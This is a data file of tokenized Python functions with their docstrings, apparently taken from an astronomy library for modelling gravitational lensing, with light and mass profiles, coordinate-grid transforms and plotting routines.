{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>,<EOL>mass_to_light_gradient: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(EllipticalSersicRadialGradient, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity, effective_radius=effective_radius,<EOL>sersic_index=sersic_index,<EOL>mass_to_light_ratio=mass_to_light_ratio)<EOL>self.mass_to_light_gradient = mass_to_light_gradient<EOL>", "docstring": "Setup a Sersic mass and light profiles.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a).\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The circular radius containing half the light of this profile.\nsersic_index : float\n    Controls the concentration of the of the profile (lower value -> less concentrated, \\\n    higher value -> more concentrated).\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profile.\nmass_to_light_gradient : float\n    The mass-to-light radial gradient.", "id": "f5952:c25:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def convergence_from_grid(self, grid):<DEDENT>", "body": "return self.convergence_func(self.grid_to_eccentric_radii(grid))<EOL>", "docstring": "Calculate the projected convergence at a given set of arc-second gridded coordinates.\n\n        Parameters\n        ----------\n        grid : grids.RegularGrid\n            The grid of (y,x) arc-second coordinates the surface density is computed on.", "id": "f5952:c25:m1"}
{"signature": "@grids.grid_interpolate<EOL><INDENT>@geometry_profiles.cache<EOL>@geometry_profiles.transform_grid<EOL>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "def calculate_deflection_component(npow, index):<EOL><INDENT>sersic_constant = self.sersic_constant<EOL>deflection_grid = self.axis_ratio * grid[:, index]<EOL>deflection_grid *= quad_grid(self.deflection_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>, grid,<EOL>args=(npow, self.axis_ratio, self.intensity,<EOL>self.sersic_index, self.effective_radius,<EOL>self.mass_to_light_ratio, self.mass_to_light_gradient,<EOL>sersic_constant))[<NUM_LIT:0>]<EOL>return deflection_grid<EOL><DEDENT>deflection_y = calculate_deflection_component(<NUM_LIT:1.0>, <NUM_LIT:0>)<EOL>deflection_x = calculate_deflection_component(<NUM_LIT:0.0>, <NUM_LIT:1>)<EOL>return self.rotate_grid_from_profile(np.multiply(<NUM_LIT:1.0>, np.vstack((deflection_y, deflection_x)).T))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c25:m2"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>,<EOL>mass_to_light_gradient: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(SphericalSersicRadialGradient, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius,<EOL>sersic_index=sersic_index,<EOL>mass_to_light_ratio=mass_to_light_ratio,<EOL>mass_to_light_gradient=mass_to_light_gradient)<EOL>", "docstring": "Setup a Sersic mass and light profiles.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second).\neffective_radius : float\n    The circular radius containing half the light of this profile.\nsersic_index : float\n    Controls the concentration of the of the profile (lower value -> less concentrated, \\\n    higher value -> more concentrated).\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profile.\nmass_to_light_gradient : float\n    The mass-to-light radial gradient.", "id": "f5952:c26:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>kappa: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(MassSheet, self).__init__(centre=centre)<EOL>self.kappa = kappa<EOL>", "docstring": "Represents a mass-sheet\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\nkappa : float\n    The magnitude of the convergence of the mass-sheet.", "id": "f5952:c27:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>magnitude: float = <NUM_LIT>,<EOL>phi: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(ExternalShear, self).__init__(centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), phi=phi, axis_ratio=<NUM_LIT:1.0>)<EOL>self.magnitude = magnitude<EOL>", "docstring": "An external shear term, to model the line-of-sight contribution of other galaxies / satellites.\n\nParameters\n----------\nmagnitude : float\n    The overall magnitude of the shear (gamma).\nphi : float\n    The rotation axis of the shear.", "id": "f5952:c28:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "deflection_y = -np.multiply(self.magnitude, grid[:, <NUM_LIT:0>])<EOL>deflection_x = np.multiply(self.magnitude, grid[:, <NUM_LIT:1>])<EOL>return self.rotate_grid_from_profile(np.vstack((deflection_y, deflection_x)).T)<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c28:m7"}
{"signature": "def plot_intensities(<EOL>light_profile, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, <EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "intensities = light_profile.intensities_from_grid(grid=grid)<EOL>intensities = grid.scaled_array_2d_from_array_1d(intensities)<EOL>array_plotters.plot_array(<EOL>array=intensities, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the intensities (e.g. the image) of a light profile, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.hyper.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    light_profile : model.profiles.light_profiles.LightProfile\n        The light profile whose intensities are plotted.\n    grid : ndarray or hyper.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5953:m0"}
{"signature": "def plot_convergence(<EOL>mass_profile, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, <EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "convergence = mass_profile.convergence_from_grid(grid=grid)<EOL>convergence = grid.scaled_array_2d_from_array_1d(convergence)<EOL>array_plotters.plot_array(<EOL>array=convergence, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the convergence of a mass profile, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.hyper.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    mass_profile : model.profiles.mass_profiles.MassProfile\n        The mass profile whose convergence is plotted.\n    grid : ndarray or hyper.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5953:m1"}
{"signature": "def plot_potential(<EOL>mass_profile, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, <EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "potential = mass_profile.potential_from_grid(grid=grid)<EOL>potential = grid.scaled_array_2d_from_array_1d(potential)<EOL>array_plotters.plot_array(<EOL>array=potential, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the potential of a mass profile, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.hyper.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    mass_profile : model.profiles.mass_profiles.MassProfile\n        The mass profile whose potential is plotted.\n    grid : ndarray or hyper.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5953:m2"}
{"signature": "def plot_deflections_y(<EOL>mass_profile, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, <EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "deflections = mass_profile.deflections_from_grid(grid)<EOL>deflections_y = grid.scaled_array_2d_from_array_1d(deflections[:, <NUM_LIT:0>])<EOL>array_plotters.plot_array(<EOL>array=deflections_y, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the y component of the deflection angles of a mass profile, on a regular grid of (y,x) coordinates.\n\n    Set *autolens.hyper.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    mass_profile : model.profiles.mass_profiles.MassProfile\n        The mass profile whose y deflecton angles are plotted.\n    grid : ndarray or hyper.array.grid_stacks.RegularGrid\n        The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5953:m3"}
{"signature": "def plot_deflections_x(<EOL>mass_profile, grid, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, <EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "deflections = mass_profile.deflections_from_grid(grid)<EOL>deflections_x = grid.scaled_array_2d_from_array_1d(deflections[:, <NUM_LIT:1>])<EOL>array_plotters.plot_array(<EOL>array=deflections_x, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the x component of the deflection angles of a mass profile, on a regular grid of (y,x) coordinates.\n\n     Set *autolens.hyper.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n     Parameters\n     -----------\n     mass_profile : model.profiles.mass_profiles.MassProfile\n         The mass profile whose x deflecton angles are plotted.\n     grid : ndarray or hyper.array.grid_stacks.RegularGrid\n         The (y,x) coordinates of the grid, in an array of shape (total_coordinates, 2)", "id": "f5953:m4"}
{"signature": "def transform_grid(func):", "body": "@wraps(func)<EOL>def wrapper(profile, grid, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not isinstance(grid, TransformedGrid):<EOL><INDENT>return func(profile, profile.transform_grid_to_reference_frame(grid), *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return func(profile, grid, *args, **kwargs)<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Wrap the function in a function that checks whether the coordinates have been transformed. If they have not \\ \n    been transformed then they are transformed.\n\n    Parameters\n    ----------\n    func : (profiles, *args, **kwargs) -> Object\n        A function that requires transformed coordinates\n\n    Returns\n    -------\n        A function that can except cartesian or transformed coordinates", "id": "f5954:m0"}
{"signature": "def cache(func):", "body": "def wrapper(instance: GeometryProfile, grid: np.ndarray, *args, **kwargs):<EOL><INDENT>if not hasattr(instance, \"<STR_LIT>\"):<EOL><INDENT>instance.cache = {}<EOL><DEDENT>key = (func.__name__, grid.tobytes())<EOL>if key not in instance.cache:<EOL><INDENT>instance.cache[key] = func(instance, grid)<EOL><DEDENT>return instance.cache[key]<EOL><DEDENT>return wrapper<EOL>", "docstring": "Caches results of a call to a grid function. If a grid that evaluates to the same byte value is passed into the same\nfunction of the same instance as previously then the cached result is returned.\n\nParameters\n----------\nfunc\n    Some instance method that takes a grid as its argument\n\nReturns\n-------\nresult\n    Some result, either newly calculated or recovered from the cache", "id": "f5954:m1"}
{"signature": "def move_grid_to_radial_minimum(func):", "body": "@wraps(func)<EOL>def wrapper(profile, grid, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>radial_minimum_config = conf.NamedConfig(f\"<STR_LIT>\")<EOL>grid_radial_minimum = radial_minimum_config.get(\"<STR_LIT>\", profile.__class__.__name__, float)<EOL>with np.errstate(all='<STR_LIT:ignore>'):  <EOL><INDENT>grid_radii = profile.grid_to_grid_radii(grid=grid)<EOL>grid_radial_scale = np.where(grid_radii < grid_radial_minimum, grid_radial_minimum / grid_radii, <NUM_LIT:1.0>)<EOL>grid = np.multiply(grid, grid_radial_scale[:, None])<EOL><DEDENT>grid[np.isnan(grid)] = grid_radial_minimum<EOL>return func(profile, grid, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Checks whether any coordinates in the grid are radially near (0.0, 0.0), which can lead to numerical faults in \\\n    the evaluation of a light or mass profiles. If any coordinates are radially within the the radial minimum \\\n    threshold, their (y,x) coordinates are shifted to that value to ensure they are evaluated correctly.\n\n    By default this radial minimum is not used, and users should be certain they use a value that does not impact \\\n    results.\n\n    Parameters\n    ----------\n    func : (profile, *args, **kwargs) -> Object\n        A function that takes a grid of coordinates which may have a singularity as (0.0, 0.0)\n\n    Returns\n    -------\n        A function that can except cartesian or transformed coordinates", "id": "f5954:m2"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>)):<DEDENT>", "body": "super(GeometryProfile, self).__init__()<EOL>self.centre = centre<EOL>", "docstring": "An abstract geometry profile, which describes profiles with y and x centre Cartesian coordinates\n\n        Parameters\n        -----------\n        centre : (float, float)\n            The (y,x) arc-second coordinates of the profile centre.", "id": "f5954:c1:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>)):<DEDENT>", "body": "super(SphericalProfile, self).__init__(centre=centre)<EOL>", "docstring": "A spherical profile, which describes profiles with y and x centre Cartesian coordinates.\n\n        Parameters\n        ----------\n        centre: (float, float)\n            The (y,x) arc-second coordinates of the profile centre.", "id": "f5954:c2:m0"}
{"signature": "@transform_grid<EOL><INDENT>def grid_to_grid_radii(self, grid):<DEDENT>", "body": "return np.sqrt(np.add(np.square(grid[:, <NUM_LIT:0>]), np.square(grid[:, <NUM_LIT:1>])))<EOL>", "docstring": "Convert a grid of (y, x) coordinates to a grid of their circular radii.\n\n        If the coordinates have not been transformed to the profile's centre, this is performed automatically.\n\n        Parameters\n        ----------\n        grid : TransformedGrid(ndarray)\n            The (y, x) coordinates in the reference frame of the profile.", "id": "f5954:c2:m1"}
{"signature": "def grid_angle_to_profile(self, grid_thetas):", "body": "return np.cos(grid_thetas), np.sin(grid_thetas)<EOL>", "docstring": "The angle between each (y,x) coordinate on the grid and the profile, in radians.\n\n        Parameters\n        -----------\n        grid_thetas : ndarray\n            The angle theta counter-clockwise from the positive x-axis to each coordinate in radians.", "id": "f5954:c2:m2"}
{"signature": "def grid_to_grid_cartesian(self, grid, radius):", "body": "grid_thetas = np.arctan2(grid[:, <NUM_LIT:0>], grid[:, <NUM_LIT:1>])<EOL>cos_theta, sin_theta = self.grid_angle_to_profile(grid_thetas=grid_thetas)<EOL>return np.multiply(radius[:, None], np.vstack((sin_theta, cos_theta)).T)<EOL>", "docstring": "Convert a grid of (y,x) coordinates with their specified circular radii to their original (y,x) Cartesian \ncoordinates.\n\nParameters\n----------\ngrid : TransformedGrid(ndarray)\n    The (y, x) coordinates in the reference frame of the profile.\nradius : ndarray\n    The circular radius of each coordinate from the profile center.", "id": "f5954:c2:m3"}
{"signature": "def transform_grid_to_reference_frame(self, grid):", "body": "transformed = np.subtract(grid, self.centre)<EOL>return transformed.view(TransformedGrid)<EOL>", "docstring": "Transform a grid of (y,x) coordinates to the reference frame of the profile, including a translation to \\\n        its centre.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5954:c2:m4"}
{"signature": "def transform_grid_from_reference_frame(self, grid):", "body": "transformed = np.add(grid, self.centre)<EOL>return transformed.view(TransformedGrid)<EOL>", "docstring": "Transform a grid of (y,x) coordinates from the reference frame of the profile to the original observer \\\n        reference frame, including a translation from the profile's centre.\n\n        Parameters\n        ----------\n        grid : TransformedGrid(ndarray)\n            The (y, x) coordinates in the reference frame of the profile.", "id": "f5954:c2:m5"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(EllipticalProfile, self).__init__(centre=centre)<EOL>self.axis_ratio = axis_ratio<EOL>self.phi = phi<EOL>", "docstring": "An elliptical profile, which describes profiles with y and x centre Cartesian coordinates, an axis-ratio \\\n        and rotational angle phi.\n\n        Parameters\n        ----------\n        centre: (float, float)\n            The (y,x) arc-second coordinates of the profile centre.\n        axis_ratio : float\n            Ratio of profiles ellipse's minor and major axes (b/a)\n        phi : float\n            Rotation angle of profiles ellipse counter-clockwise from positive x-axis", "id": "f5954:c3:m0"}
{"signature": "def cos_and_sin_from_x_axis(self):", "body": "phi_radians = np.radians(self.phi)<EOL>return np.cos(phi_radians), np.sin(phi_radians)<EOL>", "docstring": "Determine the sin and cosine of the angle between the profile's ellipse and the positive x-axis, \\\n        counter-clockwise.", "id": "f5954:c3:m4"}
{"signature": "def grid_angle_to_profile(self, grid_thetas):", "body": "theta_coordinate_to_profile = np.add(grid_thetas, - self.phi_radians)<EOL>return np.cos(theta_coordinate_to_profile), np.sin(theta_coordinate_to_profile)<EOL>", "docstring": "The angle between each angle theta on the grid and the profile, in radians.\n\n        Parameters\n        -----------\n        grid_thetas : ndarray\n            The angle theta counter-clockwise from the positive x-axis to each coordinate in radians.", "id": "f5954:c3:m5"}
{"signature": "def rotate_grid_from_profile(self, grid_elliptical):", "body": "y = np.add(np.multiply(grid_elliptical[:, <NUM_LIT:1>], self.sin_phi), np.multiply(grid_elliptical[:, <NUM_LIT:0>], self.cos_phi))<EOL>x = np.add(np.multiply(grid_elliptical[:, <NUM_LIT:1>], self.cos_phi), - np.multiply(grid_elliptical[:, <NUM_LIT:0>], self.sin_phi))<EOL>return np.vstack((y, x)).T<EOL>", "docstring": "Rotate a grid of elliptical (y,x) coordinates from the reference frame of the profile back to the \\\n        unrotated coordinate grid reference frame (coordinates are not shifted back to their original centre).\n\n        This routine is used after computing deflection angles in the reference frame of the profile, so that the \\\n        deflection angles can be re-rotated to the frame of the original coordinates before performing ray-tracing.\n\n        Parameters\n        ----------\n        grid_elliptical : TransformedGrid(ndarray)\n            The (y, x) coordinates in the reference frame of an elliptical profile.", "id": "f5954:c3:m6"}
{"signature": "@transform_grid<EOL><INDENT>@move_grid_to_radial_minimum<EOL>def grid_to_elliptical_radii(self, grid):<DEDENT>", "body": "return np.sqrt(np.add(np.square(grid[:, <NUM_LIT:1>]), np.square(np.divide(grid[:, <NUM_LIT:0>], self.axis_ratio))))<EOL>", "docstring": "Convert a grid of (y,x) coordinates to an elliptical radius.\n\n        If the coordinates have not been transformed to the profile's geometry, this is performed automatically.\n\n        Parameters\n        ----------\n        grid : TransformedGrid(ndarray)\n            The (y, x) coordinates in the reference frame of the elliptical profile.", "id": "f5954:c3:m7"}
{"signature": "@transform_grid<EOL><INDENT>@move_grid_to_radial_minimum<EOL>def grid_to_eccentric_radii(self, grid):<DEDENT>", "body": "return np.multiply(np.sqrt(self.axis_ratio), self.grid_to_elliptical_radii(grid)).view(np.ndarray)<EOL>", "docstring": "Convert a grid of (y,x) coordinates to an eccentric radius, which is (1.0/axis_ratio) * elliptical radius \\\n        and used to define light profile half-light radii using circular radii.\n\n        If the coordinates have not been transformed to the profile's geometry, this is performed automatically.\n\n        Parameters\n        ----------\n        grid : TransformedGrid(ndarray)\n            The (y, x) coordinates in the reference frame of the elliptical profile.", "id": "f5954:c3:m8"}
{"signature": "def transform_grid_to_reference_frame(self, grid):", "body": "if self.__class__.__name__.startswith(\"<STR_LIT>\"):<EOL><INDENT>return super().transform_grid_to_reference_frame(grid)<EOL><DEDENT>shifted_coordinates = np.subtract(grid, self.centre)<EOL>radius = np.sqrt(np.sum(shifted_coordinates ** <NUM_LIT>, <NUM_LIT:1>))<EOL>theta_coordinate_to_profile = np.arctan2(shifted_coordinates[:, <NUM_LIT:0>],<EOL>shifted_coordinates[:, <NUM_LIT:1>]) - self.phi_radians<EOL>transformed = np.vstack(<EOL>(radius * np.sin(theta_coordinate_to_profile), radius * np.cos(theta_coordinate_to_profile))).T<EOL>return transformed.view(TransformedGrid)<EOL>", "docstring": "Transform a grid of (y,x) coordinates to the reference frame of the profile, including a translation to \\\n        its centre and a rotation to it orientation.\n\n        Parameters\n        ----------\n        grid : ndarray\n            The (y, x) coordinates in the original reference frame of the grid.", "id": "f5954:c3:m9"}
{"signature": "def transform_grid_from_reference_frame(self, grid):", "body": "if self.__class__.__name__.startswith(\"<STR_LIT>\"):<EOL><INDENT>return super().transform_grid_from_reference_frame(grid)<EOL><DEDENT>y = np.add(np.add(np.multiply(grid[:, <NUM_LIT:1>], self.sin_phi), np.multiply(grid[:, <NUM_LIT:0>], self.cos_phi)), self.centre[<NUM_LIT:0>])<EOL>x = np.add(np.add(np.multiply(grid[:, <NUM_LIT:1>], self.cos_phi), - np.multiply(grid[:, <NUM_LIT:0>], self.sin_phi)),<EOL>self.centre[<NUM_LIT:1>])<EOL>return np.vstack((y, x)).T<EOL>", "docstring": "Transform a grid of (y,x) coordinates from the reference frame of the profile to the original observer \\\n        reference frame, including a rotation to its original orientation and a translation from the profile's centre.\n\n        Parameters\n        ----------\n        grid : TransformedGrid(ndarray)\n            The (y, x) coordinates in the reference frame of the profile.", "id": "f5954:c3:m10"}
